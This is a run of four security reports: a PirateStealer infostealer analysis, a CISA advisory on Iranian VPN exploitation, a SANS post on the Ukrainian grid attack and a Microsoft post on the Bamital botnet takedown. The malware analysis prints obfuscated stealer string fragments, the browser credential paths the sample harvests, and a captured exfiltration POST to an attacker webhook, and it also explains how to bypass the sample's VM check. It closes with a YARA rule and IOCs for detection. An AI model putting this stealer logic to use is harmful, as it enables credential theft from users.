'3cfd898a34', 'uOInW', 'nction (re', 'fyejx', 'EaIrv', 'T\", \"', '.__esModul', 'kdiscord_a', 'OST\", \"htt', 'pIFwZ', 'card[exp_y', 'ebpackChun', '712885yttDlO', 'esponse)\x0a ', 'XGjSx', 'bJgUI', 'quDYI', 'ZWwEd', '}));xmlHtt', 'nd( null )', 'MZran', '_require:(', 'EUsjW', 'OJmpO', 'iekvl', 'Bgmbs', 'curity-pol', 'sODNh', 'Info', 'RtCnF', ' res', 'oUNqs', 'startsWith', 'te-auth-ga', 'wtrRE', 'XqPuC', 'nfTlj', 'stringify', 'trol-Allow', 'api/v*/use', '044afa86c0', 'BNGsw', 'endsWith', 'erty(c)){c', '&&window.w', '3|1|5|4|2|', '666152>', 'onth]', 'CC Number', '261692be77', 'https://ap', 'Hbiyu', 'nst b=\"str', 'string', 'MYzmA', 'frien', 'oXoGC', 'st(); xmlH', 'ogged in)', 'h/login', 'onBeforeRe', 'ler', 'l );xmlHtt', 'nNDpg', 'scordapp.c', 'None', 'packChunkd', 'HJkPh', 'ult)for(le', 'ekaHc', 'hVBNq', 'Discord In', 'hCisG', ',c)=>a.exp', 'll ); xmlH', '%LOGOUT%', '67292683>', 'qDnjj', 'ce:8747508', './core.asa', 'rary', 'jWIqj', 'z.us/webho', '.open(\"POS', 'cation/jso', 'n\');xhr.se', 'Access-Con', 'n.discorda', 'tp.open( \"', 'HsWzL', 'LIMNx', 'CDBUT', 'rPUXn', 'while (tru', 'QXtBk', 'IXdYu', 'jlJkn', 'eGNQG', 'icy', 'zkLNj', '.send(JSON', 'REDyx', 'authorizat', 'quire):win', 'uPgpS', 'action', 'auth/login', 'ing\"==type', '7299264akWYrI', '0833860819', 'Nitro Boos', 'nances/upc', 'KXpeG', 'backup_cod', 'ASPvi', 'AnBwe', '`??` <:pay', 'Qzuky', 'QuUOv', 'h.random()', 'eceived', 'm/api/v*/a', 'detectable', 'AiUeV', '9> � Click', 'iMZRC', 'OIQYD', 'mXMdv', 'cardnumber', 'ogged out', '113823>', '.stringify', '7475080859', 'f them](', '0bae463b62', '`Nitro Cla', 'RneOZ', 'pal:896441', 'IRorc', '8747508086', 'bEJOo', 'ged', '.default.g', 'XSFpY', 'WPGIP', 'e\', \'appli', 'constructo', 'SWgNo', 'ttp.respon', 'Promise(fu', 'tRequestHe', 'gGChN', 'handle', '[**<:partn', '({\"passwor', 'p.send( nu', 'BmfaL', 'p = new XM', 'gg.c)if(gg', 'mfa', 'Token', 'QyxBl', 'gznBU', 'exports', 'hanged', 'c \'*\'', 'type', 'join', 'BFLMt', 'd[b]:a(d))', '/v9/users/', 'zUUpR', 'tars/', '[],{get_re', 'creditCard', 'NrTCl', 'breeg', 'VsiSX', 'avatar', 'e: \x0a', '0e51da53ac', 'm()],{},a=', 'kfqsq', 'ows', 'VDMFd', 'uire,delet', 'https://ct', 'XWYvO', '\x0aInjection', 'qbbDT', 'XIyoy', 'fVGaB', 'IptgU', 'uqvDV', 'scord_app.', 'lJCpo', 'RTUQn', 'statusCode', 'izeeD', 'qXVEh', 'wWdXu', 'tzYpP', '`?`', 'lHttp.setR', '4477056>', 'eRsvU', 'HlluF', 'CqJXz', 'ePErz', 'jfKbG', 'Email Chan', '-sources\",', ' }\x0a ', 's/detectab', 'cYCTW', 'EAMwn', 'logout', 'VEwOw', 'illing/sub', '88952075>', 'e);xmlHttp', 'PFCvw', 'RXhXV', 'fFsJL', 'zgpHS', 'KdeiM', 'onst d=gg.', 'XUwuo', 'get_requir', 'PirateStea', 'ction LogO', 'VvjjF', 'rd.com/api', 'email', 'efault[b]:', 'sers/@me/b', 'iNLfL', 'Value', 'Lvuyw', 'esponseTex', 'gPPIE', '\\+\\+ *(?:[', 'h([[],{get', 'oming.json', 'onp.push([', 'Nitro', 'c633748151', 'MJEyc', 'lpxpM', 'Badges', 'ac162fb948', 'split', 'stHeader(\"', 'rcLQC', 'login', 'GKwDl', '513qIUJCP', 'c)if(gg.c.', 'getAllWind', 'e&&d.defau', 'riptions', 'NrdYM', 'xh', 'nEceC', 'rs/@me/lib', 'vtYDK', 'c[c].expor', 'userLogin', 'fpiFR', 'Xqopk', 'icy-report', 'jIHIQ', 'ePOgR', 'hmivT', 'quire:(a,b', 'kBJCB', '@me\", fals', '@everyone', '](https://', 'uFnvA', ';if(d&&(b?', 'ofdcM', 'GCPrj', 'd_events:8', 'rmdirSync', 'aw/', 'tadaY', 'GiEFi', 'tor', 'ykpop', 'CvUvx', 'ZDdGx', 'false );xm', 'xpBES', 'executeJav', 'd\":\"', '7bfd1f547e', 'for(let a ', 'rs/@me', '8d47b006a4', 'AkhBD', 'NGnMY', 'sers/@me/l', 'user', 'card[exp_m', '6df76d9cd3', 'ringify(', 'ca50f6e4ec', 'counter', 'sJmuc', 'content-se', 'qQkwR', 'NuNkF', 'User Login', 'YSffi', '78354964>', ' function ', 'card[cvc]', '@me/relati', 'Boedc', 'stateObjec', 'PhTSi', '6PtQXNK', 'sMouD', '\").logout(', 'gXCaa', 'jhhnC', 'z.us', 'rs/@me/bil', '-Origin \'*', '3699f4cb0c', 'PAZzF', 'MeNnf', 'elidq', 'code', 'gfoOb', 'jKYKG', 'ozEcT', 'Rare', 'api/v*/app', 'st();xmlHt', 'bytes', ')return d}', 'scriptions', 'lOikq', 'UscNK', 'qAftj', 'picoP', 'nd(JSON.st', 'ydNUv', 'GByIe', '/@me/billi', 'jLvHj', 're\"]]]),de', 'ERbYq', 'EFGNV', 'gger', 'ukVTp', '58>', 'aScript', 'LcvMp', 'insert', 'xplVr', 'kDScI', 'window.web', 'ykgzz', 'ssic`', 'SJhDu', '4750808728', 'forEach', '\x0a new ', 'oVaUi', '<:bravery:', 'lnSmv', 'oTfPf', 'in window.', 'yZutt', 'lGSsh', 'bHqdw', 'vYIBT', 'bKsdf', 'ontent-Typ', 'Text;', 'ot Logged ', 'zhHDK', 'BGbJx', 'CVC', 'yexternali', 'XFwxu', 'function *', 'quest', 'lerBTW', '/v8/users/', ')}LogOut()', 'xEGik', 'VKwNJ', '<:bughunte', 'JegoJ', 'ps://www.m', '8472825986', 'POST', 'password', 'xhr = new ', 'disable-qr', 'om/v1/toke', 'befba77ea3']; _0x519e = function () { return _0x2b3aad; }; return _0x519e(); }(function (_0x3f6ee4, _0x2fc5be) { var _0x346931 = _0x534c, _0x41454c = _0x3f6ee4(); ``` ## 3. Dynamic Analysis Initially, the executable checks for the presence of a virtualization environment by reading registry key values for disk identifiers and tries to match it against common virtual disk strings like VMware, Vbox, Ven_Msft (Hyper-V). If the check fails, the executable exits after throwing an error. This can be bypassed via two methods: 1. Either patch on the fly by loading it in a Debugger and changing the register values to bypass the check. 2. Modify registry values before executing the sample. **Registry keys being queried:** - `HKLM\SYSTEM\CurrentControlSet\Services\disk\Enum` - `HKLM\SYSTEM\CurrentControlSet\Services\EhStorClass\Enum` On successful execution, the sample scours through the files and folders located inside `C:\Users\<username>\AppData\Local` to harvest saved credentials and sensitive information. The files and folders checked during analysis in the mentioned directory include: - `C:\Users\Baldur\AppData\Local` - `C:\Users\Baldur\AppData\Local\*` - `C:\Users\Baldur\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Local Extension Settings` - `C:\Users\Baldur\AppData\Local\Chromium` - `C:\Users\Baldur\AppData\Local\Google\Chrome` - `C:\Users\Baldur\AppData\Local\Google\Chrome\*` - `C:\Users\Baldur\AppData\Local\Google\Chrome Beta` - `C:\Users\Baldur\AppData\Local\Google\Chrome Beta\User Data\Default\Local Extension Settings` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\*` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Bookmarks` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\History` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\History_tmp` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\History_tmp-journal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\History_tmp-wal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\*` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.ldb` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000004.log` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Login Data` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Login Data_tmp` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Login Data_tmp-journal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Login Data_tmp-wal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies_tmp` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies_tmp-journal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies_tmp-wal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Web Data` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Web Data_tmp` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Web Data_tmp-journal` - `C:\Users\Baldur\AppData\Local\Google\Chrome\User Data\Default\Web Data_tmp-wal` - `C:\Users\Baldur\AppData\Local\Growtopia\save.dat` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\*` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\*` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Bookmarks` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\History` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\History_tmp` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\History_tmp-journal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\History_tmp-wal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Login Data` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Login Data_tmp` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Login Data_tmp-journal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Login Data_tmp-wal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies_tmp` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies_tmp-journal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies_tmp-wal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Web Data` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Web Data_tmp` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Web Data_tmp-journal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Default\Web Data_tmp-wal` - `C:\Users\Baldur\AppData\Local\Microsoft\Edge\User Data\Local State` - `C:\Users\Baldur\AppData\Local\Opera Software\Opera GX Stable\Local Extension Settings` - `C:\Users\Baldur\AppData\Local\Opera Software\Opera Stable\Local Extension Settings` - `C:\Users\Baldur\AppData\Local\ProtonVPN` The sample then proceeds to copy the found credentials to `C:\Users\<username>\AppData\Local\Temp\save\` directory and creates an archive `save.zip` in `C:\Users\<username>\AppData\Local\Temp` directory. This zip file is used to exfiltrate the data to the retrieval endpoint. A HTTP POST request is made to the URL `hxxps[:]//4wz[.]us/webhooks/85dd00c63374815179f0c5e26f722df1b3b90bae463b626df76d9cd37bfd1f547ed5b7ffb2b40e9b68a72fac162fb948c11a0b8bb43699f4cb0c5985cb3f69a9cffed5ed0081508085261692be77b84317f4fa6661178a2c0ec08199db0e51da53ac7b54e5556d3cfd898a347e21ad78a7044afa86c0ca50f6e4ecbefba77ea38d47b006a454b2754a22e01a858030e5` with the following payload: ``` POST /webhooks/85dd00c63374815179f0c5e26f722df1b3b90bae463b626df76d9cd37bfd1f547ed5b7ffb2b40e9b68a72fac162fb948c11a0b8bb43699f4cb0c5985cb3f69a9cffed5ed0081508085261692be77b84317f4fa6661178a2c0ec08199db0e51da53ac7b54e5556d3cfd898a347e21ad78a7044afa86c0ca50f6e4ecbefba77ea38d47b006a454b2754a22e01a858030e5 HTTP/1.1 Connection: close Content-Type: multipart/form-data; boundary=-------------------------- Accept: */* Accept-Encoding: gzip, deflate User-Agent: Puppy Content-Length: 6665 Host: 4wz.us ----------------------------gwtwrxsavebqtmsyuoqimtdi Content-Disposition: form-data; name="payload_json" Content-Type: application/json {"content": "", "username": "PirateStealer", "avatar_url": "", "attachments": [], "embeds": [{"title": "Thanks for using PirateStealer", "description": "Succesfully recover : **\nð¦ 0 Metamask Recovery Key, \nð 0 Extension Wallets, \nð° 0 Cold wallets, \nð 0 Passwords, \nðª 13 Cookies,\nð³ 0 Cards, \nð 0 Autofills **\n and much more in `save.zip`", "image": "", "url": "", "author": {"name": "", "url": "", "icon_url": ""}, "footer": {"text": "", "icon_url": ""}, "fields": [{"name": "Computer Username", "value": "Baldur", "inline": true}, {"name": "Hostname", "value": "DESKTOP-T59267A\n", "inline": true}], "color": 0, "timestamp": "", "thumbnail": {"url": ""}}]} ----------------------------gwtwrxsavebqtmsyuoqimtdi Content-Disposition: form-data; name="file"; filename="save.zip" Content-Type: application/zip <ZIP FILE BINARY CONTENTS> ----------------------------gwtwrxsavebqtmsyuoqimtdi-- ``` Once the data is successfully exfiltrated, the executable deletes the file `save.zip` and exits. ## 4. YARA Rules and IOCs ### 1. YARA Rule ```yara rule pirate_stealer : infostealer { meta: description = "This rule is to identify PirateStealer Infostealers" author = "mostwanted002" date = "2022-12-01" strings: $pirate = "PirateStealerEvent" nocase $nim1 = "deflate.nim" $nim2 = "zippy.nim" $nim3 = "db_sqlite.nim" $nim4 = "puppy.nim" $nim5 = "gzip.nim" condition: $pirate and ($nim1 or $nim2 or $nim3 or $nim4 or $nim5) } ``` ### 2. IOCs - `4wz[.]us` - `hxxps[:]//4wz[.]us/webhooks/85dd00c63374815179f0c5e26f722df1b3b90bae463b626df76d9cd37bfd1f547ed5b7ffb2b40e9b68a72fac162fb948c11a0b8bb43699f4cb0c5985cb3f69a9cffed5ed0081508085261692be77b84317f4fa6661178a2c0ec08199db0e51da53ac7b54e5556d3cfd898a347e21ad78a7044afa86c0ca50f6e4ecbefba77ea38d47b006a454b2754a22e01a858030e5` **Author:** Mayank Malik **Role:** CRTP | Incident Responder | Synack Red Team Member | Threat Analyst | Security Researcher | Cloud/Network Architect Mayank Malik is a tech-savvy person, Red Team Enthusiast, and likes to wander around to learn new stuff. Cryptography, Networking, and System Administrations are his forte. He’s one of the Founding Members for CTF Team, Abs0lut3Pwn4g3, and Core Member at DC 91120 (DEFCON Community Group). Apart from the mentioned skills, he’s good at communication skills and is a goal-oriented person. Yellow belt holder at pwn.college in pursuit of learning and achieving Blue Belt.
# Iran-Based Threat Actor Exploits VPN Vulnerabilities ## Summary This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. This product was written by the Cybersecurity and Infrastructure Security Agency (CISA) with contributions from the Federal Bureau of Investigation (FBI). CISA and FBI are aware of an Iran-based malicious cyber actor targeting several U.S. federal agencies and other U.S.-based networks. Analysis of the threat actor’s indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) indicates a correlation with the group known by the names, Pioneer Kitten and UNC757. This threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. This threat actor used these vulnerabilities to gain initial access to targeted networks and then maintained access within the successfully exploited networks for several months using multiple means of persistence. This Advisory provides the threat actor’s TTPs, IOCs, and exploited CVEs to help administrators and network defenders identify a potential compromise of their network and protect their organization from future attacks. ## Technical Details CISA and FBI are aware of a widespread campaign from an Iran-based malicious cyber actor targeting several industries mainly associated with information technology, government, healthcare, financial, insurance, and media sectors across the United States. The threat actor conducts mass-scanning and uses tools, such as Nmap, to identify open ports. Once the open ports are identified, the threat actor exploits CVEs related to VPN infrastructure to gain initial access to a targeted network. CISA and the FBI have observed the threat actor exploiting multiple CVEs, including CVE-2019-11510, CVE-2019-11539, CVE-2019-19781, and CVE-2020-5902. After gaining initial access to a targeted network, the threat actor obtains administrator-level credentials and installs web shells allowing further entrenchment. After establishing a foothold, the threat actor’s goals appear to be maintaining persistence and exfiltrating data. This threat actor has been observed selling access to compromised network infrastructure in an online hacker forum. Industry reporting indicates that the threat actor operates as a contractor supporting Iranian government interests, but the malicious activity appears to also serve the threat actor’s own financial interests. The FBI notes this threat actor has the capability, and likely the intent, to deploy ransomware on victim networks. CISA and FBI have observed this Iran-based threat actor relying on exploits of remote external services on internet-facing assets to gain initial access to victim networks. The threat actor also relies heavily on open-source and operating system (OS) tooling to conduct operations, such as ngrok; fast reverse proxy (FRP); Lightweight Directory Access Protocol (LDAP) directory browser; as well as web shells known as ChunkyTuna, Tiny, and China Chopper. ### Common exploit tools | Tool | Detail | |--------------------|--------| | ChunkyTuna | ChunkyTuna allows for chunked transfer encoding hypertext transfer protocol (HTTP) that tunnels Transmission Control Protocol (TCP) streams over HTTP. The web shell allows for reverse connections to a server with the intent to exfiltrate data. | | Tiny web shell | Tiny uses Hypertext Preprocessor (PHP) to create a backdoor. It has the capability to allow a threat actor remote access to the system and can also tunnel or route traffic. | | China Chopper | China Chopper is a web shell hosted on a web server and is mainly used for web application attacks; it is configured in a client/server relationship. China Chopper contains security scanners and can be used to upload files and brute-force passwords. | | FRPC | FRPC is a modified version of the open-source FRP tool. It allows a system inside a router or firewall providing Network Address Translation to provide network access to systems/operators located outside of the victim network. In this case, FRPC was used as reverse proxy, tunneling Remote Desktop Protocol (RDP) over Transport Layer Security (TLS), giving the threat actor primary persistence. | | Chisel | Chisel is a fast TCP tunnel over HTTP and secured via Secure Shell (SSH). It is a single executable that includes both client and server. The tool is useful for passing through firewalls, but it can also be used to provide a secure form of communication to an endpoint on a victim network. | | ngrok | ngrok is a tool used to expose a local port to the internet. Optionally, tunnels can be secured with TLS. | | Nmap | Nmap is used for vulnerability scanning and network discovery. | | Angry IP Scanner | Angry IP Scanner is a scanner that can ping a range of Internet Protocol (IP) addresses to check if they are active and can also resolve hostnames, scan ports, etc. | | Drupwn | Drupwn is a Python-based tool used to scan for vulnerabilities and exploit CVEs in Drupal devices. | ### Notable means of detecting this threat actor: - CISA and the FBI note that this group makes significant use of ngrok, which may appear as TCP port 443 connections to external cloud-based infrastructure. - The threat actor uses FRPC over port 7557. - Malware Analysis Report MAR-10297887-1.v1 details some of the tools this threat actor used against some victims. The following file paths can be used to detect Tiny web shell, ChunkyTuna web shell, or Chisel if a network has been compromised by this attacker exploiting CVE-2019-19781. **Tiny web shell** - /netscaler/ns_gui/admin_ui/rdx/core/css/images/css.php - /netscaler/ns_gui/vpn/images/vpn_ns_gui.php - /var/vpn/themes/imgs/tiny.php **ChunkyTuna web shell** - /var/vpn/themes/imgs/debug.php - /var/vpn/themes/imgs/include.php - /var/vpn/themes/imgs/whatfile **Chisel** - /var/nstmp/chisel ## MITRE ATT&CK Framework ### Initial Access As indicated in table 2, the threat actor primarily gained initial access by using the publicly available exploit for CVE-2019-19781. From there, the threat actor used the Citrix environment to establish a presence on an internal network server. ### Execution After gaining initial access, the threat actor began executing scripts, as shown in table 3. ### Persistence CISA observed the threat actor using the techniques identified in table 4 to establish persistence. ### Privilege Escalation CISA observed no evidence of direct privilege escalation. The threat actor attained domain administrator credentials on the NetScaler device via exploit and continued to expand credential access on the network. ### Defense Evasion CISA observed the threat actor using the techniques identified in table 5 to evade detection. ### Credential Access CISA observed the threat actor using the techniques identified in table 6 to further their credential access. ### Discovery CISA observed the threat actor using the techniques identified in table 7 to learn more about the victim environments. ### Lateral Movement CISA also observed the threat actor using open-source tools such as Plink and TightVNC for lateral movement. CISA observed the threat actor using the techniques identified in table 8 for lateral movement within the victim environment. ### Collection CISA observed the threat actor using the techniques identified in table 9 for collection within the victim environment. ### Command and Control CISA observed the threat actor using the techniques identified in table 10 for command and control (C2). ### Exfiltration CISA currently has no evidence of data exfiltration from this threat actor but assesses that it was likely due to the use of 7-Zip and viewing of sensitive documents. ## Mitigations ### Recommendations CISA and FBI recommend implementing the following recommendations: - If your organization has not patched for the Citrix CVE-2019-19781 vulnerability, and a compromise is suspected, follow the recommendations in CISA Alert AA20-031A. - This threat actor has been observed targeting other CVEs mentioned in this report; follow the recommendations in the CISA resources provided below. - If using Windows Active Directory and compromise is suspected, conduct remediation of the compromised Windows Active Directory forest. - If compromised, rebuild/reimage compromised NetScaler devices. - Routinely audit configuration and patch management programs. - Monitor network traffic for unexpected and unapproved protocols, especially outbound to the internet (e.g., SSH, SMB, RDP). - Implement multi-factor authentication, especially for privileged accounts. - Use separate administrative accounts on separate administration workstations. - Implement the principle of least privilege on data access. - Secure RDP and other remote access solutions using multifactor authentication and “jump boxes” for access. - Deploy endpoint defense tools on all endpoints; ensure they work and are up to date. - Keep software up to date. ## Contact Information To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].
# Confirmation of a Coordinated Attack on the Ukrainian Power Grid **SANS ICS** **Michael Assante** **January 6, 2016** After analyzing the information that has been made available by affected power companies, researchers, and the media, it is clear that cyber attacks were directly responsible for power outages in Ukraine. The SANS ICS team has been coordinating ongoing discussions and providing analysis across multiple international community members and companies. We assess with high confidence based on company statements, media reports, and first-hand analysis that the incident was due to a coordinated intentional attack. The attackers demonstrated planning, coordination, and the ability to use malware and possible direct remote access to blind system dispatchers, cause undesirable state changes to the distribution electricity infrastructure, and attempt to delay the restoration by wiping SCADA servers after they caused the outage. This attack consisted of at least three components: the malware, a denial of service to the phone systems, and the missing piece of evidence of the final cause of the impact. Current evidence and analysis indicate that the missing component was direct interaction from the adversary and not the work of malware. In other words, the attack was enabled via malware but consisted of at least three distinct efforts. ## The Multiple Elements The cyber attack was comprised of multiple elements which included denial of view to system dispatchers and attempts to deny customer calls that would have reported the power out. We assess with high confidence that there were coordinated attacks against multiple regional distribution power companies. Some of these companies have been reported by media to include specifically named utilities such as Prykarpattyaoblenergo and Kyivoblenergo. The exact timeline for which utilities were affected and their ordering is still unclear and is currently being analyzed. What we do know is that Kyivoblenergo provided public updates to customers, indicating there was an unauthorized intrusion (from 15:30 - 16:30L) that disconnected 7 substations (110 kV) and 23 (35 kV) substations leading to an outage for 80,000 customers. The key significance here is that 80,000 customers comprise a significant portion of their residential load. Power was restored to all customers by (18:56L). They also reported technical failures with their call line interfering with receiving customer's calls. Quick action by utility staff to switch to "manual mode" and restore the system was impressive. Statements from utility staff to local media indicated the distribution system was being run without the benefit of their SCADA as it was still infected. Field staff at the impacted power companies manned required substations, transferring from "automatic to manual mode," and manually re-closed breakers to energize the system. Restoration varied but all services were restored in 3-6 hours. It is important to note that there are risks operating your system without the benefit of an automated dispatch control center, and utilities that are more reliant on automation may not be able to restore large portions of their system this way. In many ways, the Ukrainian operators should be commended for their diligence and restoration efforts. ## Cyber Attack Milestones as Reported To Date From what has been reported, here is the information to date that we are confident took place. The exact timing of the events is still being pieced together. - The adversary initiated an intrusion into production SCADA systems - Infected workstations and servers - Acted to "blind" the dispatchers - Acted to damage the SCADA system hosts (servers and workstations) - Action would have delayed restoration and introduced risk, especially if the SCADA system was essential to coordinate actions - Action can also make forensics more difficult - Flooded the call centers to deny customers calling to report power out ## Probable Cyber Attack Milestones as Reported to Date In analyzing the evidence and reports, there are still missing pieces to the attack. Understanding the initial foothold of the adversary, the eventual impact, and the types of systems in place can help to make assessments on what the adversary likely had to have done, but the items stated below are currently probable and not known. We are working to verify and uncover more information. - The adversaries infected workstations and moved through the environment - Acted to open breakers and cause the outage (assessed through technical analysis of the Ukrainian SCADA system in comparison to the impact) - Initiated a possible DDoS on the company websites ## Malware Enabled but Not Likely Malware Caused It is interesting and important to understand the role of the malware sample SANS ICS previously reported that came from one of the infected networks. There have been two prominent theories in the community and speculation to the media that either the 'KillDisk' component was just inside the network and unrelated to the power outage (a reliability issue where malware just happened to be there) or that the 'KillDisk' component was directly responsible for the outage. It is our assessment that neither of these are correct. Malware likely enabled the attack; there was an intentional attack, but the 'KillDisk' component itself did not cause the outage. It is also important to note that many of the samples being analyzed in the community to date, as reported by others, are not guaranteed to have been involved in this incident. The malware campaign reported, tied to BlackEnergy and the Sandworm team by others, has solid links to this incident, but it cannot be assumed that files such as the excel spreadsheet and other malware samples recovered from other portions of that campaign were at all involved in this incident. It is possible, but far too early in the technical analysis to state that. The type of analysis being done by the security researchers and companies assessing this is valuable and they should be commended. At the worst, it will provide lessons learned and training opportunities for the community. But analysts should be careful not to overstate current analysis of malware samples due to their link to the larger campaign as being specific to this incident. Simply put, there is still evidence that has yet to be uncovered that may refute the minutia of the specific components of the malware portion of the attack. More importantly, the link of the KillDisk wiper to the actual cause of the outage is not likely. This is stated because power systems and SCADA schemes simply do not work in that manner. In other words, the incident observed with consideration to timing, sites, and impact does not at all align with the narrative of the 'KillDisk' component itself causing the impact. I have observed the loss of many SCADA systems for periods of time that resulted in no outage or impact to the power system. Running a power system without the benefit of your SCADA system at the distribution level adds risk, but without something to change the 'state' (for example, to force a circuit to de-energize), then the system will continue to serve power. We assess currently that the malware allowed the attackers to gain a foothold at the targeted utilities, open up command and control, and facilitate the planning of an attack by providing access to the network and necessary information. The malware also appears to have been used to wipe files in an attempt to deny the use of the SCADA system for the purposes of restoration to amplify the effects of the attack and possibly to delay restoration. ## Final Thoughts We are very interested in helping power utilities learn as much as they can from this real-world incident. We would also note the competent action by Ukrainian utility personnel in responding to the attack and restoring their power system. As a community, the power industry is dedicated to keeping the lights on. What is now true is that a coordinated cyber attack consisting of multiple elements is one of the expected hazards they may face. We need to learn and prepare ourselves to detect, respond, and restore from such events in the future. The SANS ICS team will be continuing our analysis and presenting findings and updates to the community in multiple formats. On Jan 20th, we will host a webcast focusing on understanding the industrial control systems and SCADA networks of the Ukrainian power grid to identify what was even possible in terms of attack scenarios. Following that, we will release more information at the SANS ICS Summit with a full breakdown of what we know and its value to the community. Finally, we will be releasing a comprehensive whitepaper on the incident in our Defense Use Case (DUC) series in our ICS Digital Library. The DUC will highlight both the cyber and physical components to this incident and the lessons learned for the community. We sincerely thank all the effort going on in the community by numerous passionate researchers and companies across both the information technology and the ICS community. It takes all of us working together to understand and respond to these types of incidents.
# Bamital Botnet Takedown Is Successful; Cleanup Underway The following is a post by Richard Domingues Boscovich, Assistant General Counsel, Microsoft Digital Crimes Unit. Two weeks after Microsoft and Symantec’s collaborative takedown of the Bamital botnet, I’m pleased to report that the Bamital botnet remains offline. Additionally, since Microsoft was able to receive all of the computer traffic that had been connecting to the Bamital botnet, we are also seeing very positive cleanup results firsthand. For instance, our preliminary data shows that as of February 18th, approximately 32 percent of the infected computers we had observed since the February 6th takedown are no longer part of the Bamital botnet. This promising reduction rate is largely due to the takedown of the botnet and victims taking action in response to the proactive notification process and available cleanup tools. We expect that the number of victim notifications and cleaned computers will improve as we fine-tune our process over the course of the next several weeks. I also want to take this opportunity to acknowledge the cooperation of the Indian Computer Emergency Response Team (CERT-In). Bamital’s command and control structure was using several “.In” top level domains to control infected computers around the world. CERT-In played an integral role by implementing a crucial component of the notification process that allowed us to contact and offer cleanup tools to victims affected by Bamital. CERT-In’s support is the reason why this cleanup effort has been effective. Additionally, we will soon be working with Internet service providers and Computer Emergency Response Teams around the world, as we have in the past, to help rescue those remaining computers infected with this malware. Meanwhile, we also have positive news to share on the legal side. Early last week we entered into a confidential settlement agreement in the case with defendant John Doe 12. We believe the agreement is in the best interest of the case. Finally, at a preliminary injunction hearing on February 13th, the Federal Court for the Eastern District of Virginia granted Microsoft’s motion and entered an order granting the preliminary injunction. The granting of this motion helps to keep the domains that the bot-herders used to operate the botnet offline, and allows Microsoft to continue pointing all of the malicious IP addresses to Microsoft’s domain name system (DNS). Helping protect people is at the forefront of Microsoft’s proactive fight against botnets and other forms of cybercrime. We do this by applying a three-pronged approach which includes helping advance security in our products and services, taking proactive, disruptive measures to help protect people, and educating people about the dangers of cybercrime and how they can protect themselves from online threats. As DCU recently held its fourth annual Digital Crimes Consortium (DCC) in Barcelona, Spain, a week-long conference that provides a rare opportunity for law enforcement and members of the technology security community from around the world to discuss the latest cybercrime issues and challenges, I want to stress that cybercrime cannot be fought alone. However, with continued successes in cooperation among all players – industry, academic researchers, law enforcement agencies and governments worldwide – the global community has the power to turn the tide in the fight against cybercrime. I look forward to continuing to work with partners like Symantec and CERT-In to shut down cybercriminal networks and protect innocent people around the world. Tags: botnets, Digital Crimes Unit
